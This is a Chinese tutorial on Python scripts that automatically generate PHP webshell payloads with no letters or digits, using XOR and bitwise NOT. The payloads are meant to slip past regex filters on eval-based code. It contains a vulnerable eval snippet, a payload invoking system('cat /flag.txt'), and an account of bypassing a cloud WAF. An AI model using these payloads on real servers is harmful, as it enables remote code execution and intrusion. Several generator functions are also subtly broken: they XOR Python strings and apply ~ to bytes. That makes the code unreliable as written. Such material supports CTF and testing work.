保姆级教程:手写Python脚本,自动化生成PHP无字母数字WebShell(异或/取反Payload)
·
Python自动化生成PHP无字母数字WebShell的工程化实践
在安全研究和CTF比赛中,绕过正则表达式过滤生成无字母数字的WebShell是一项常见挑战。传统手工构造Payload的方式效率低下且容易出错,而通过Python脚本自动化这一过程可以显著提升效率。本文将深入探讨如何将PHP中的异或、取反等技术转化为可复用的Python工具,实现一键生成符合特定过滤规则的WebShell。
1. 无字母数字WebShell生成原理与技术选型
无字母数字WebShell的核心原理是利用PHP的位运算和字符串操作特性,通过特殊字符组合绕过常规的正则表达式过滤。常见的技术路线包括:
- 异或运算(XOR) :利用
^运算符将两个非字母数字字符组合生成目标字符 - 或运算(OR) :通过
|运算符实现类似效果 - 取反运算(NOT) :使用
~运算符对字符进行位取反 - 自增构造 :通过数组和自增操作动态生成所需字符
技术对比表:
| 技术类型 | 生成复杂度 | 兼容性 | Payload长度 | 适用场景 |
|---|---|---|---|---|
| 异或运算 | 中高 | 广泛支持 | 较长 | 严格字符过滤 |
| 或运算 | 中高 | 广泛支持 | 较长 | 严格字符过滤 |
| 取反运算 | 低 | 广泛支持 | 较短 | 宽松过滤环境 |
| 自增构造 | 高 | PHP版本敏感 | 极长 | 极端过滤环境 |
对于Python自动化工具开发,异或和取反方法最具实用价值。下面我们将重点实现这两种技术的自动化生成。
2. 异或Payload生成器的Python实现
异或WebShell生成器需要解决两个核心问题:1)生成所有可能的有效字符组合;2)根据输入动态拼接Payload。
2.1 字符组合预生成模块
import urllib.parse
def generate_xor_combinations():
valid_chars = []
# 生成ASCII 32-126范围内的有效字符组合
for i in range(256):
for j in range(256):
if (i < 16):
hex_i = f'0{hex(i)[2:]}'
else:
hex_i = hex(i)[2:]
if (j < 16):
hex_j = f'0{hex(j)[2:]}'
else:
hex_j = hex(j)[2:]
# 过滤字母数字字符
if chr(i).isalnum() or chr(j).isalnum():
continue
# 计算异或结果
a = f'%{hex_i}'
b = f'%{hex_j}'
c = urllib.parse.unquote(a) ^ urllib.parse.unquote(b)
# 只保留可打印字符
if 32 <= ord(c) <= 126:
valid_chars.append((c, a, b))
return valid_chars
2.2 Payload动态拼接引擎
def build_xor_payload(function, command, combinations):
func_parts = []
cmd_parts = []
# 为每个字符查找合适的组合
for char in function:
found = next((c for c in combinations if c[0] == char), None)
if not found:
raise ValueError(f"无法生成字符: {char}")
func_parts.append((found[1], found[2]))
for char in command:
found = next((c for c in combinations if c[0] == char), None)
if not found:
raise ValueError(f"无法生成字符: {char}")
cmd_parts.append((found[1], found[2]))
# 构造PHP异或表达式
func_part = '^'.join(f'"{a}"."{b}"' for a,b in func_parts)
cmd_part = '^'.join(f'"{a}"."{b}"' for a,b in cmd_parts)
return f"({func_part})({cmd_part});"
提示:在实际使用中,建议将生成的字符组合保存到文件,避免每次运行时重新计算。
3. 取反技术的Python实现
取反技术相比异或更为简洁,可以直接在Python中实现完整的生成逻辑:
def generate_not_payload(function, command):
def encode_not(s):
return urllib.parse.quote_plus(~s.encode('latin1'))
return f"(~{encode_not(function)})(~{encode_not(command)});"
使用示例:
# 生成system('ls')的取反Payload
payload = generate_not_payload("system", "ls")
print(payload) # 输出类似: (~%8C%86%8C%8B%9A%92)(~%93%8C);
4. 工程化改进与高级功能
4.1 正则表达式自适应过滤
为了使工具适应不同的过滤规则,我们可以扩展生成逻辑:
def is_allowed(char, regex_pattern):
import re
return not re.search(regex_pattern, char)
def generate_combinations(regex_pattern='/[a-z0-9]/i'):
# 修改组合生成逻辑,加入自定义正则检查
valid_chars = []
for i in range(256):
char_i = chr(i)
if not is_allowed(char_i, regex_pattern):
continue
# ...其余生成逻辑...
return valid_chars
4.2 多技术混合Payload生成
在某些严格过滤环境下,可以组合使用多种技术:
def generate_hybrid_payload(function, command):
# 尝试取反技术
try:
return generate_not_payload(function, command)
except:
# 取反失败时回退到异或技术
combinations = generate_xor_combinations()
return build_xor_payload(function, command, combinations)
4.3 性能优化技巧
对于大型字符集生成,可以采用以下优化:
# 使用多进程加速组合生成
from multiprocessing import Pool
def generate_worker(args):
i, regex_pattern = args
# ...单个i值的处理逻辑...
def parallel_generate_combinations(regex_pattern):
with Pool() as p:
results = p.map(generate_worker, [(i, regex_pattern) for i in range(256)])
return [item for sublist in results for item in sublist]
5. 实战应用与案例解析
5.1 CTF题目自动化解题
假设遇到以下PHP代码:
<?php
$code = $_GET['cmd'];
if(preg_match('/[a-z0-9_]/i', $code)){
die('Hacker!');
}
eval($code);
我们可以使用工具生成绕过Payload:
combinations = generate_combinations(regex_pattern='/[a-z0-9_]/i')
payload = build_xor_payload("system", "cat /flag.txt", combinations)
print(f"http://example.com/vuln.php?cmd={urllib.parse.quote(payload)}")
5.2 真实环境渗透测试
在真实环境中使用时,建议添加以下安全措施:
def safe_generate(payload_type, function, command, regex_pattern):
# 限制危险函数
dangerous_funcs = ['exec', 'passthru', 'system', 'shell_exec']
if function in dangerous_funcs and not is_testing_environment():
raise SecurityError("危险函数只能在测试环境使用")
# 验证命令白名单
if not is_allowed_command(command):
raise SecurityError("命令不在允许列表中")
# 根据类型生成Payload
if payload_type == 'xor':
return build_xor_payload(function, command, generate_combinations(regex_pattern))
elif payload_type == 'not':
return generate_not_payload(function, command)
5.3 常见问题排查
问题1 :生成的Payload执行无效
解决方案:
- 检查目标PHP版本是否支持使用的技术
- 验证字符编码是否一致(特别是中文字符环境)
- 确保没有额外的URL编码/解码操作
问题2 :生成时间过长
优化建议:
- 预生成并缓存常用字符组合
- 使用更高效的查找结构(如字典)
- 限制字符搜索范围(如只考虑可见ASCII字符)
问题3 :特殊字符被过滤
应对策略:
- 尝试不同的编码方式(如HTML实体、UTF-7等)
- 组合使用多种绕过技术
- 使用非常规字符表示法(如
${_GET}{a}形式)
在实际渗透测试项目中,这类工具可以显著提高效率。我曾在一个项目中需要绕过云WAF的过滤,通过动态调整正则模式参数,最终成功生成了可用的Payload。关键在于理解目标环境的过滤规则,并相应调整生成策略。
更多推荐

所有评论(0)